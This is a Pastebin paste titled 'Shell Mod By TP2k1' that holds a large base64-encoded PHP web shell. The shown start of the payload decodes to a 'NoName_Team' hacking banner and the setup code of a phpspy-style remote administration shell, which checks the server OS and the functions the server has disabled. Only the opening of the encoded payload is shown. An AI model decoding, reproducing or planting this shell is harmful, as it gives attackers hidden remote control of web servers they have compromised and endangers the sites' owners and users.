Advertisement
TP2K1

Shell Mod By TP2k1

Aug 30th, 2015
1,034
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.65 KB | None | 0 0
  1. PD9waHAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgICAgICAgICAgICAgICAgICAgV2UgQXJlIE5vTkFtZV9UZWFtCSAgICAgICAgICAgKnwKfCogICAgICAgICAgICAgICAgICAgIEVkaXQgJiBEZXZlbG9wIGJ5IFRQMmsxICAgICAgICAgICAgICAgICAgICp8CnwqICAJICAgICBodHRwOi8vdHJ1bmdraWVuLnZpZXRhdS52bi8gICAgCSAgICAgICAgICAgKnwKfCogICAgICAgICAgICAgICAgICAgPT0gIEhhY2tpbmcgJiBTZWN1cml0eSAgPT0gICAgICAgICAgICAgICAgICp8ClwqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKZXJyb3JfcmVwb3J0aW5nKDcpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpvYl9zdGFydCgpOwokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOwpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOwovL2RlZmluZSgnSVNfV0lOJywgc3Ryc3RyKFBIUF9PUywgJ1dJTicpID8gMSA6IDAgKTsKZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOwpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOwpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOwokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsK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